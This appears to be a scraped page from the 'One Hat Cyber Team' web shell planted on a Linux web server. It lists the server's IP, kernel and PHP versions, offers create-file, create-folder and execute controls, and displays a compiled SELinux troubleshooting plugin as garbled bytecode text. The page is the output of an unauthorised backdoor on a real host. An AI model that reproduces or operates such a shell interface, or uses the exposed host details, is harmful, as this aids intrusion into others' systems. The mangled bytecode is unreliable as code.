⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.67
Server IP:
50.6.168.112
Server:
Linux server-617809.webnetzimbabwe.com 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
Server Software:
Apache
PHP Version:
8.4.10
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
setroubleshoot
/
plugins
/
__pycache__
/
View File Name :
catchall_boolean.cpython-39.pyc
a Z` @ s\ d dl Z d dlZd dlZe jdddZej Zd dlT d dlmZ d dlZG dd deZ dS ) Nzsetroubleshoot-pluginsT)Zfallback)*)Pluginc @ sP e Zd ZedZedZedZdZdd Zdd Z d d Z dd Zd d ZdS )pluginzN SELinux is preventing $SOURCE_PATH "$ACCESS" access on $TARGET_PATH. a: SELinux denied access requested by $SOURCE. The current boolean settings do not allow this access. If you have not setup $SOURCE to require this access this may signal an intrusion attempt. If you do intend this access you need to change the booleans on this system to allow the access. z Confined processes can be configured to run requiring different access, SELinux provides booleans to allow you to turn on/off access as needed. c C s t | t | d d| _d S )N Zyellow)r __init____name__Zset_prioritylevel)self r 5/usr/share/setroubleshoot/plugins/catchall_boolean.pyr 6 s zplugin.__init__c C sH t |d }t|tjs(tj|dd}td|d |dd S )Nr utf8)encodingzIf you want to %s )sepolicyZboolean_desc isinstancesixZ text_type_lower)r avcargsZtxtr r r get_if_text; s zplugin.get_if_textc C s t d|d |d f S )Nzsetsebool -P %s %sr r )r )r r r r r r get_do_textA s zplugin.get_do_textc C sT t d|d }z,|d r:|d dkr:|t d|d 7 }W n tyN Y n0 |S )Nz?You must tell SELinux about this by enabling the '%s' boolean. r Nonez,You can read '%s' man page for more details.)r IndexError)r r r textr r r get_then_textD s zplugin.get_then_textc C sr | |jj}t|jdkrng }| j}d}|j}|D ]4}|sJ| |d }|| |d |d |f q4|S d S )Nr r r )Z check_for_manZscontexttypelenboolsfix_descriptionappendZreport)r r Zman_pageZreportsZfixfix_cmdr br r r analyzeN s zplugin.analyzeN) r __module____qualname__r ZsummaryZproblem_descriptionr! r# r r r r r% r r r r r s r ) gettextosr Ztranslationr Zsetroubleshoot.utilZsetroubleshoot.Pluginr r r r r r r
s